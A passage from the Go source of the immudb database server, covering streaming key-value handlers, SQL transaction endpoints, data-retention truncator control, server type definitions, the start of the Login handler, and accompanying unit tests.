"github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" "google.golang.org/grpc" ) func TestImmuServer_StreamGetDbError(t *testing.T) { dir := t.TempDir() s := DefaultServer() s.WithOptions(DefaultOptions().WithDir(dir)) err := s.StreamSet(&StreamServerMock{}) require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamGet(nil, &StreamServerMock{}) require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamScan(nil, &StreamServerMock{}) require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamHistory(nil, &StreamServerMock{}) require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamVerifiableGet(nil, &StreamVerifiableServerMock{}) require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamVerifiableSet(&StreamVerifiableServerMock{}) require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamZScan(nil, &StreamServerMock{}) require.ErrorIs(t, err, ErrNotLoggedIn) err = s.StreamExecAll(&StreamServerMock{}) require.ErrorIs(t, err, ErrNotLoggedIn) } type StreamServerMock struct { grpc.ServerStream } func (s *StreamServerMock) Send(chunk *schema.Chunk) error { return nil } func (s *StreamServerMock) SendAndClose(*schema.TxHeader) error { return nil } func (s *StreamServerMock) Recv() (*schema.Chunk, error) { return nil, nil } func (s *StreamServerMock) Context() context.Context { return context.Background() } type StreamVerifiableServerMock struct { grpc.ServerStream } func (s *StreamVerifiableServerMock) Send(chunk *schema.Chunk) error { return nil } func (s *StreamVerifiableServerMock) SendAndClose(tx *schema.VerifiableTx) error { return nil } func (s *StreamVerifiableServerMock) Recv() (*schema.Chunk, error) { return nil, nil } func (s *StreamVerifiableServerMock) Context() context.Context { return context.Background() } ================================================ FILE: pkg/server/streams.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "bufio" "bytes" "io" "github.com/codenotary/immudb/pkg/errors" "github.com/codenotary/immudb/embedded/store" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/stream" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" "google.golang.org/protobuf/proto" ) // StreamGet return a stream of key-values to the client func (s *ImmuServer) StreamGet(kr *schema.KeyRequest, str schema.ImmuService_StreamGetServer) error { db, err := s.getDBFromCtx(str.Context(), "StreamGet") if err != nil { return err } kvsr := s.StreamServiceFactory.NewKvStreamSender(s.StreamServiceFactory.NewMsgSender(str)) entry, err := db.Get(str.Context(), kr) if err != nil { return err } kv := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(entry.Key)), Size: len(entry.Key), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(entry.Value)), Size: len(entry.Value), }, } return kvsr.Send(kv) } // StreamSet set a stream of key-values in the internal store func (s *ImmuServer) StreamSet(str schema.ImmuService_StreamSetServer) error { if s.Options.GetMaintenance() { return ErrNotAllowedInMaintenanceMode } db, err := s.getDBFromCtx(str.Context(), "StreamSet") if err != nil { return err } kvsr := s.StreamServiceFactory.NewKvStreamReceiver(s.StreamServiceFactory.NewMsgReceiver(str)) var kvs = make([]*schema.KeyValue, 0) vlength := 0 for { key, vr, err := kvsr.Next() if err != nil { if err == io.EOF { break } return err } value, err := stream.ReadValue(vr, s.Options.StreamChunkSize) if err != nil { if err == io.EOF { kvs = append(kvs, &schema.KeyValue{Key: key, Value: value}) break } } vlength += len(value) if vlength > stream.MaxTxValueLen { return errors.New(stream.ErrMaxTxValuesLenExceeded) } kvs = append(kvs, &schema.KeyValue{Key: key, Value: value}) } txhdr, err := db.Set(str.Context(), &schema.SetRequest{KVs: kvs}) if err == store.ErrMaxValueLenExceeded { return errors.Wrap(err, stream.ErrMaxValueLenExceeded) } if err != nil { return status.Errorf(codes.Unknown, "StreamSet receives following error: %s", err.Error()) } err = str.SendAndClose(txhdr) if err != nil { return err } return nil } // StreamVerifiableGet ... func (s *ImmuServer) StreamVerifiableGet(req *schema.VerifiableGetRequest, str schema.ImmuService_StreamVerifiableGetServer) error { db, err := s.getDBFromCtx(str.Context(), "StreamVerifiableGet") if err != nil { return err } vess := s.StreamServiceFactory.NewVEntryStreamSender(s.StreamServiceFactory.NewMsgSender(str)) vEntry, err := db.VerifiableGet(str.Context(), req) if err != nil { return err } if s.StateSigner != nil { hdr := schema.TxHeaderFromProto(vEntry.VerifiableTx.DualProof.TargetTxHeader) alh := hdr.Alh() newState := &schema.ImmutableState{ Db: db.GetName(), TxId: hdr.ID, TxHash: alh[:], } err = s.StateSigner.Sign(newState) if err != nil { return err } vEntry.VerifiableTx.Signature = newState.Signature } value := stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(vEntry.GetEntry().GetValue())), Size: len(vEntry.GetEntry().GetValue()), } entryWithoutValue := schema.Entry{ Tx: vEntry.GetEntry().GetTx(), Key: vEntry.GetEntry().GetKey(), ReferencedBy: vEntry.GetEntry().GetReferencedBy(), } entryWithoutValueProto, err := proto.Marshal(&entryWithoutValue) if err != nil { return err } verifiableTxProto, err := proto.Marshal(vEntry.GetVerifiableTx()) if err != nil { return err } inclusionProofProto, err := proto.Marshal(vEntry.GetInclusionProof()) if err != nil { return err } sVEntry := stream.VerifiableEntry{ EntryWithoutValueProto: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(entryWithoutValueProto)), Size: len(entryWithoutValueProto), }, VerifiableTxProto: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(verifiableTxProto)), Size: len(verifiableTxProto), }, InclusionProofProto: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(inclusionProofProto)), Size: len(inclusionProofProto), }, Value: &value, } return vess.Send(&sVEntry) } // StreamVerifiableSet ... func (s *ImmuServer) StreamVerifiableSet(str schema.ImmuService_StreamVerifiableSetServer) error { if s.Options.GetMaintenance() { return ErrNotAllowedInMaintenanceMode } db, err := s.getDBFromCtx(str.Context(), "StreamVerifiableSet") if err != nil { return err } sr := s.StreamServiceFactory.NewMsgReceiver(str) kvsr := s.StreamServiceFactory.NewKvStreamReceiver(sr) vlength := 0 proveSinceTxBs, err := stream.ReadValue(sr, s.Options.StreamChunkSize) if err != nil { return err } var proveSinceTx uint64 if err := stream.NumberFromBytes(proveSinceTxBs, &proveSinceTx); err != nil { return err } vlength += len(proveSinceTxBs) if vlength > stream.MaxTxValueLen { return errors.New(stream.ErrMaxTxValuesLenExceeded).WithCode(errors.CodDataException) } var kvs = make([]*schema.KeyValue, 0) for { key, vr, err := kvsr.Next() if err != nil { if err == io.EOF { break } return err } value, err := stream.ReadValue(vr, s.Options.StreamChunkSize) if err != nil { if err == io.EOF { kvs = append(kvs, &schema.KeyValue{Key: key, Value: value}) break } } vlength += len(value) if vlength > stream.MaxTxValueLen { return errors.New(stream.ErrMaxTxValuesLenExceeded).WithCode(errors.CodDataException) } kvs = append(kvs, &schema.KeyValue{Key: key, Value: value}) } vSetReq := schema.VerifiableSetRequest{ SetRequest: &schema.SetRequest{KVs: kvs}, ProveSinceTx: proveSinceTx, } verifiableTx, err := db.VerifiableSet(str.Context(), &vSetReq) if err == store.ErrMaxValueLenExceeded { return errors.Wrap(err, stream.ErrMaxValueLenExceeded).WithCode(errors.CodDataException) } if err != nil { return status.Errorf(codes.Unknown, "StreamVerifiableSet received the following error: %s", err.Error()) } if s.StateSigner != nil { hdr := schema.TxHeaderFromProto(verifiableTx.DualProof.TargetTxHeader) alh := hdr.Alh() newState := &schema.ImmutableState{ Db: db.GetName(), TxId: hdr.ID, TxHash: alh[:], } err = s.StateSigner.Sign(newState) if err != nil { return err } verifiableTx.Signature = newState.Signature } err = str.SendAndClose(verifiableTx) if err != nil { return err } return nil } func (s *ImmuServer) StreamScan(req *schema.ScanRequest, str schema.ImmuService_StreamScanServer) error { db, err := s.getDBFromCtx(str.Context(), "Scan") if err != nil { return err } r, err := db.Scan(str.Context(), req) if err != nil { return err } kvsr := s.StreamServiceFactory.NewKvStreamSender(s.StreamServiceFactory.NewMsgSender(str)) for _, e := range r.Entries { kv := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(e.Key)), Size: len(e.Key), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(e.Value)), Size: len(e.Value), }, } err = kvsr.Send(kv) if err != nil { return err } } return nil } // StreamZScan ... func (s *ImmuServer) StreamZScan(request *schema.ZScanRequest, server schema.ImmuService_StreamZScanServer) error { db, err := s.getDBFromCtx(server.Context(), "ZScan") if err != nil { return err } r, err := db.ZScan(server.Context(), request) if err != nil { return err } zss := s.StreamServiceFactory.NewZStreamSender(s.StreamServiceFactory.NewMsgSender(server)) for _, e := range r.Entries { scoreBs, err := stream.NumberToBytes(e.Score) if err != nil { s.Logger.Errorf("StreamZScan error: could not convert score %f to bytes: %v", e.Score, err) } atTxBs, err := stream.NumberToBytes(e.AtTx) if err != nil { s.Logger.Errorf("StreamZScan error: could not convert atTx %d to bytes: %v", e.AtTx, err) } ze := &stream.ZEntry{ Set: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(e.Set)), Size: len(e.Set), }, Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(e.Key)), Size: len(e.Key), }, Score: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(scoreBs)), Size: len(scoreBs), }, AtTx: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(atTxBs)), Size: len(atTxBs), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(e.Entry.Value)), Size: len(e.Entry.Value), }, } err = zss.Send(ze) if err != nil { return err } } return nil } func (s *ImmuServer) StreamHistory(request *schema.HistoryRequest, server schema.ImmuService_StreamHistoryServer) error { db, err := s.getDBFromCtx(server.Context(), "History") if err != nil { return err } r, err := db.History(server.Context(), request) if err != nil { return err } kvsr := s.StreamServiceFactory.NewKvStreamSender(s.StreamServiceFactory.NewMsgSender(server)) for _, e := range r.Entries { kv := &stream.KeyValue{ Key: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(e.Key)), Size: len(e.Key), }, Value: &stream.ValueSize{ Content: bufio.NewReader(bytes.NewBuffer(e.Value)), Size: len(e.Value), }, } err = kvsr.Send(kv) if err != nil { return err } } return nil } func (s *ImmuServer) StreamExecAll(str schema.ImmuService_StreamExecAllServer) error { if s.Options.GetMaintenance() { return ErrNotAllowedInMaintenanceMode } db, err := s.getDBFromCtx(str.Context(), "StreamSet") if err != nil { return err } sops := []*schema.Op{} eas := s.StreamServiceFactory.NewExecAllStreamReceiver(s.StreamServiceFactory.NewMsgReceiver(str)) for { op, err := eas.Next() if err != nil { if err == io.EOF { break } return err } switch x := op.(type) { case *stream.Op_KeyValue: key, err := stream.ReadValue(x.KeyValue.Key.Content, s.Options.StreamChunkSize) if err != nil { return err } value, err := stream.ReadValue(x.KeyValue.Value.Content, s.Options.StreamChunkSize) if err != nil { return err } sop := &schema.Op{Operation: &schema.Op_Kv{ Kv: &schema.KeyValue{ Key: key, Value: value, }, }, } sops = append(sops, sop) case *stream.Op_ZAdd: sop := &schema.Op{Operation: &schema.Op_ZAdd{ ZAdd: x.ZAdd, }, } sops = append(sops, sop) } } txhdr, err := db.ExecAll(str.Context(), &schema.ExecAllRequest{Operations: sops}) if err != nil { return err } err = str.SendAndClose(txhdr) if err != nil { return err } return nil } ================================================ FILE: pkg/server/transaction.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "time" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/golang/protobuf/ptypes/empty" ) // BeginTx creates a new transaction. Only one read-write transaction per session can be active at a time. func (s *ImmuServer) NewTx(ctx context.Context, request *schema.NewTxRequest) (*schema.NewTxResponse, error) { if request == nil { return nil, ErrIllegalArguments } if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } if request.Mode == schema.TxMode_WriteOnly { // only in key-value mode, in sql we read catalog and write to it return nil, sessions.ErrWriteOnlyTXNotAllowed } sess, err := s.SessManager.GetSessionFromContext(ctx) if err != nil { return nil, err } opts := sql.DefaultTxOptions(). WithReadOnly(request.Mode == schema.TxMode_ReadOnly) if request.SnapshotMustIncludeTxID != nil { opts.WithSnapshotMustIncludeTxID(func(_ uint64) uint64 { return request.SnapshotMustIncludeTxID.GetValue() }) } if request.SnapshotRenewalPeriod != nil { opts.WithSnapshotRenewalPeriod(time.Duration(request.SnapshotRenewalPeriod.GetValue()) * time.Millisecond) } opts.UnsafeMVCC = request.UnsafeMVCC tx, err := sess.NewTransaction(ctx, opts) if err != nil { return nil, err } return &schema.NewTxResponse{TransactionID: tx.GetID()}, nil } func (s *ImmuServer) Commit(ctx context.Context, _ *empty.Empty) (*schema.CommittedSQLTx, error) { if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } tx, err := s.SessManager.GetTransactionFromContext(ctx) if err != nil { return nil, err } cTxs, err := s.SessManager.CommitTransaction(ctx, tx) if err != nil { return nil, err } cTx := cTxs[0] lastPKs := make(map[string]*schema.SQLValue, len(cTx.LastInsertedPKs())) for k, n := range cTx.LastInsertedPKs() { lastPKs[k] = &schema.SQLValue{Value: &schema.SQLValue_N{N: n}} } return &schema.CommittedSQLTx{ Header: schema.TxHeaderToProto(cTx.TxHeader()), UpdatedRows: uint32(cTx.UpdatedRows()), LastInsertedPKs: lastPKs, }, nil } func (s *ImmuServer) Rollback(ctx context.Context, _ *empty.Empty) (*empty.Empty, error) { if s.Options.GetMaintenance() { return nil, ErrNotAllowedInMaintenanceMode } tx, err := s.SessManager.GetTransactionFromContext(ctx) if err != nil { return nil, err } return new(empty.Empty), s.SessManager.RollbackTransaction(tx) } func (s *ImmuServer) TxSQLExec(ctx context.Context, request *schema.SQLExecRequest) (*empty.Empty, error) { if request == nil { return nil, ErrIllegalArguments } if s.Options.GetMaintenance() { return new(empty.Empty), ErrNotAllowedInMaintenanceMode } tx, err := s.SessManager.GetTransactionFromContext(ctx) if err != nil { return new(empty.Empty), err } res := tx.SQLExec(ctx, request) if tx.IsClosed() { s.SessManager.DeleteTransaction(tx) } return new(empty.Empty), res } func (s *ImmuServer) TxSQLQuery(req *schema.SQLQueryRequest, srv schema.ImmuService_TxSQLQueryServer) error { if req == nil { return ErrIllegalArguments } if s.Options.GetMaintenance() { return ErrNotAllowedInMaintenanceMode } tx, err := s.SessManager.GetTransactionFromContext(srv.Context()) if err != nil { return err } reader, err := tx.SQLQuery(srv.Context(), req) if err != nil { return err } defer reader.Close() return s.streamRows(context.Background(), reader, tx.Database().MaxResultSize(), srv.Send) } ================================================ FILE: pkg/server/transaction_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "testing" "github.com/codenotary/immudb/pkg/api/schema" "github.com/stretchr/testify/require" "google.golang.org/protobuf/types/known/emptypb" ) func TestImmuServer_Transaction(t *testing.T) { dir := t.TempDir() s := DefaultServer() s.WithOptions(DefaultOptions().WithDir(dir).WithMaintenance(true)) _, err := s.NewTx(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = s.NewTx(context.Background(), &schema.NewTxRequest{Mode: schema.TxMode_ReadWrite}) require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) _, err = s.Commit(context.Background(), &emptypb.Empty{}) require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) _, err = s.Rollback(context.Background(), &emptypb.Empty{}) require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) _, err = s.TxSQLExec(context.Background(), nil) require.ErrorIs(t, err, ErrIllegalArguments) _, err = s.TxSQLExec(context.Background(), &schema.SQLExecRequest{}) require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) err = s.TxSQLQuery(nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) err = s.TxSQLQuery(&schema.SQLQueryRequest{}, nil) require.ErrorIs(t, err, ErrNotAllowedInMaintenanceMode) } ================================================ FILE: pkg/server/truncator.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "time" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/truncator" ) func (s *ImmuServer) isTruncatorRunningFor(db string) bool { _, ok := s.truncators[db] return ok } func (s *ImmuServer) startTruncatorFor(db database.DB, dbOpts *dbOptions) error { if !dbOpts.isDataRetentionEnabled() { s.Logger.Infof("Truncation for database '%s' is not required.", db.GetName()) return ErrTruncatorNotNeeded } s.truncatorMutex.Lock() defer s.truncatorMutex.Unlock() if s.isTruncatorRunningFor(db.GetName()) { return database.ErrTruncatorAlreadyRunning } rp := time.Millisecond * time.Duration(dbOpts.RetentionPeriod) tf := time.Millisecond * time.Duration(dbOpts.TruncationFrequency) t := truncator.NewTruncator(db, rp, tf, s.Logger) err := t.Start() if err != nil { return err } s.truncators[db.GetName()] = t return nil } func (s *ImmuServer) stopTruncatorFor(db string) error { s.truncatorMutex.Lock() defer s.truncatorMutex.Unlock() t, ok := s.truncators[db] if !ok { return ErrTruncatorNotInProgress } err := t.Stop() if err == truncator.ErrTruncatorAlreadyStopped { return nil } if err != nil { return err } delete(s.truncators, db) return nil } func (s *ImmuServer) stopTruncation() { s.truncatorMutex.Lock() defer s.truncatorMutex.Unlock() for db, f := range s.truncators { err := f.Stop() if err != nil { s.Logger.Warningf("Error stopping truncator for '%s'. Reason: %v", db, err) } else { delete(s.truncators, db) } } } func (s *ImmuServer) getTruncatorFor(db string) (*truncator.Truncator, error) { s.truncatorMutex.Lock() defer s.truncatorMutex.Unlock() t, ok := s.truncators[db] if !ok { return nil, ErrTruncatorDoesNotExist } return t, nil } ================================================ FILE: pkg/server/truncator_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "testing" "time" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/database" "github.com/stretchr/testify/require" "google.golang.org/grpc/metadata" ) func TestServerTruncator(t *testing.T) { serverOptions := DefaultOptions(). WithDir(t.TempDir()). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword). WithAuth(true). WithPort(3324) s, closer := testServer(serverOptions) defer closer() err := s.Initialize() require.NoError(t, err) r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) dt := 24 * time.Hour newdb := &schema.CreateDatabaseRequest{ Name: "db", Settings: &schema.DatabaseNullableSettings{ TruncationSettings: &schema.TruncationNullableSettings{ RetentionPeriod: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, TruncationFrequency: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, }, }, } _, err = s.CreateDatabaseV2(ctx, newdb) require.NoError(t, err) db, err := s.dbList.GetByName("db") require.NoError(t, err) dbOpts, err := s.loadDBOptions("db", false) require.NoError(t, err) err = s.startTruncatorFor(db, dbOpts) require.ErrorIs(t, err, database.ErrTruncatorAlreadyRunning) err = s.stopTruncatorFor(db.GetName()) require.NoError(t, err) err = s.stopTruncatorFor("db2") require.ErrorIs(t, err, ErrTruncatorNotInProgress) err = s.startTruncatorFor(db, dbOpts) require.NoError(t, err) _, err = s.getTruncatorFor(db.GetName()) require.NoError(t, err) s.stopTruncation() _, err = s.getTruncatorFor("db3") require.ErrorIs(t, ErrTruncatorDoesNotExist, err) } func TestServerLoadDatabaseWithRetention(t *testing.T) { dir := t.TempDir() serverOptions := DefaultOptions(). WithDir(dir). WithMetricsServer(false). WithAdminPassword(auth.SysAdminPassword) s := DefaultServer().WithOptions(serverOptions).(*ImmuServer) s.Initialize() r := &schema.LoginRequest{ User: []byte(auth.SysAdminUsername), Password: []byte(auth.SysAdminPassword), } ctx := context.Background() lr, err := s.Login(ctx, r) require.NoError(t, err) md := metadata.Pairs("authorization", lr.Token) ctx = metadata.NewIncomingContext(context.Background(), md) dt := 24 * time.Hour newdb := &schema.CreateDatabaseRequest{ Name: testDatabase, Settings: &schema.DatabaseNullableSettings{ TruncationSettings: &schema.TruncationNullableSettings{ RetentionPeriod: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, TruncationFrequency: &schema.NullableMilliseconds{Value: dt.Milliseconds()}, }, }, } _, err = s.CreateDatabaseV2(ctx, newdb) require.NoError(t, err) err = s.CloseDatabases() require.NoError(t, err) s.dbList = database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { return database.OpenDB(name, s.multidbHandler(), opts, s.Logger) }, 10, logger.NewMemoryLogger())) s.sysDB = nil t.Run("attempt to load database should pass", func(t *testing.T) { err = s.loadSystemDatabase(s.Options.Dir, nil, auth.SysAdminPassword, false) require.NoError(t, err) err = s.loadDefaultDatabase(s.Options.Dir, nil) require.NoError(t, err) err = s.loadUserDatabases(s.Options.Dir, nil) require.NoError(t, err) }) t.Run("attempt to unload user database should pass", func(t *testing.T) { _, err = s.UnloadDatabase(ctx, &schema.UnloadDatabaseRequest{Database: testDatabase}) require.NoError(t, err) }) } ================================================ FILE: pkg/server/types.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "math" "net" "net/http" "os" "sync" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/codenotary/immudb/pkg/truncator" "github.com/codenotary/immudb/embedded/remotestorage" pgsqlsrv "github.com/codenotary/immudb/pkg/pgsql/server" "github.com/codenotary/immudb/pkg/replication" "github.com/codenotary/immudb/pkg/stream" "github.com/codenotary/immudb/pkg/database" "github.com/rs/xid" "google.golang.org/grpc" "github.com/codenotary/immudb/embedded/logger" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/immuos" ) // usernameToUserdataMap keeps an associacion of username to userdata type usernameToUserdataMap struct { Userdata map[string]*auth.User sync.RWMutex } // defaultDbIndex systemdb should always be in index 0 const ( defaultDbIndex = 0 sysDBIndex = math.MaxInt32 ) // ImmuServer ... type ImmuServer struct { OS immuos.OS dbListMutex sync.Mutex dbList database.DatabaseList replicators map[string]*replication.TxReplicator replicationMutex sync.Mutex truncators map[string]*truncator.Truncator truncatorMutex sync.Mutex Logger logger.Logger Options *Options Listener net.Listener GrpcServer *grpc.Server UUID xid.ID Pid PIDFile quit chan struct{} userdata *usernameToUserdataMap multidbmode bool //Cc CorruptionChecker sysDB database.DB metricsServer *http.Server webServer *http.Server mux sync.Mutex pgsqlMux sync.Mutex StateSigner StateSigner StreamServiceFactory stream.ServiceFactory PgsqlSrv pgsqlsrv.PGSQLServer remoteStorage remotestorage.Storage SessManager sessions.Manager } // DefaultServer returns a new ImmuServer instance with all configuration options set to their default values. func DefaultServer() *ImmuServer { s := &ImmuServer{ OS: immuos.NewStandardOS(), replicators: make(map[string]*replication.TxReplicator), truncators: make(map[string]*truncator.Truncator), Logger: logger.NewSimpleLogger("immudb ", os.Stderr), Options: DefaultOptions(), quit: make(chan struct{}), userdata: &usernameToUserdataMap{Userdata: make(map[string]*auth.User)}, GrpcServer: grpc.NewServer(), StreamServiceFactory: stream.NewStreamServiceFactory(DefaultOptions().StreamChunkSize), } s.dbList = database.NewDatabaseList(database.NewDBManager(func(name string, opts *database.Options) (database.DB, error) { return database.OpenDB(name, s.multidbHandler(), opts, s.Logger) }, s.Options.MaxActiveDatabases, s.Logger)) return s } type ImmuServerIf interface { Initialize() error Start() error Stop() error WithOptions(options *Options) ImmuServerIf WithLogger(logger.Logger) ImmuServerIf WithStateSigner(stateSigner StateSigner) ImmuServerIf WithStreamServiceFactory(ssf stream.ServiceFactory) ImmuServerIf WithPgsqlServer(psrv pgsqlsrv.PGSQLServer) ImmuServerIf WithDbList(dbList database.DatabaseList) ImmuServerIf } // WithLogger ... func (s *ImmuServer) WithLogger(logger logger.Logger) ImmuServerIf { s.Logger = logger return s } // WithStateSigner ... func (s *ImmuServer) WithStateSigner(stateSigner StateSigner) ImmuServerIf { s.StateSigner = stateSigner return s } func (s *ImmuServer) WithStreamServiceFactory(ssf stream.ServiceFactory) ImmuServerIf { s.StreamServiceFactory = ssf return s } // WithOptions ... func (s *ImmuServer) WithOptions(options *Options) ImmuServerIf { s.Options = options return s } // WithPgsqlServer ... func (s *ImmuServer) WithPgsqlServer(psrv pgsqlsrv.PGSQLServer) ImmuServerIf { s.PgsqlSrv = psrv return s } // WithDbList ... func (s *ImmuServer) WithDbList(dbList database.DatabaseList) ImmuServerIf { s.dbList = dbList return s } ================================================ FILE: pkg/server/types_test.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "testing" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/stream" "github.com/stretchr/testify/require" ) func TestWithLogger(t *testing.T) { dir := t.TempDir() logger := &mockLogger{} s := DefaultServer() s.WithOptions(DefaultOptions().WithDir(dir)) require.NotSame(t, logger, s.Logger) s.WithLogger(logger) require.Same(t, logger, s.Logger) } func TestWithStreamServiceFactory(t *testing.T) { dir := t.TempDir() streamServiceFactory := stream.NewStreamServiceFactory(4096) s := DefaultServer() s.WithOptions(DefaultOptions().WithDir(dir)) require.NotSame(t, streamServiceFactory, s.StreamServiceFactory) s.WithStreamServiceFactory(streamServiceFactory) require.Same(t, streamServiceFactory, s.StreamServiceFactory) } func TestWithDbList(t *testing.T) { dir := t.TempDir() dbList := database.NewDatabaseList(nil) s := DefaultServer() s.WithOptions(DefaultOptions().WithDir(dir)) require.NotSame(t, dbList, s.dbList) s.WithDbList(dbList) require.Same(t, dbList, s.dbList) } ================================================ FILE: pkg/server/user.go ================================================ /* Copyright 2025 Codenotary Inc. All rights reserved. SPDX-License-Identifier: BUSL-1.1 you may not use this file except in compliance with the License. You may obtain a copy of the License at https://mariadb.com/bsl11/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package server import ( "context" "encoding/json" "fmt" "time" "github.com/codenotary/immudb/embedded/sql" "github.com/codenotary/immudb/pkg/database" "github.com/codenotary/immudb/pkg/server/sessions" "github.com/codenotary/immudb/pkg/api/schema" "github.com/codenotary/immudb/pkg/auth" "github.com/codenotary/immudb/pkg/errors" "github.com/golang/protobuf/ptypes/empty" "google.golang.org/grpc/codes" "google.golang.org/grpc/status" ) // Login ... func (s *ImmuServer) Login(ctx context.Context, r *schema.LoginRequest) (*schema.LoginResponse, error) { if !s.Options.auth { return nil, errors.New(ErrAuthDisabled).WithCode(errors.CodProtocolViolation) } u, err := s.getValidatedUser(ctx, r.User, r.Password) if err != nil { return nil, errors.Wrap(err, ErrInvalidUsernameOrPassword) } if !u.Active { return nil, errors.New(ErrUserNotActive) } var token string if s.multidbmode { //-1 no database yet, must exec the "use" (UseDatabase) command first token, err = auth.GenerateToken(*u, -1, s.Options.TokenExpiryTimeMin) } else { token, err = auth.GenerateToken(*u, defaultDbIndex, s.Options.TokenExpiryTimeMin) } if err != nil { return nil, err } loginResponse := &schema.LoginResponse{Token: token} if u.Username == auth.SysAdminUsername && string(r.GetPassword()) == auth.SysAdminPassword { loginResponse.Warning = []byte(auth.WarnDefaultAdminPassword) } if u.Username == auth.SysAdminUsername { 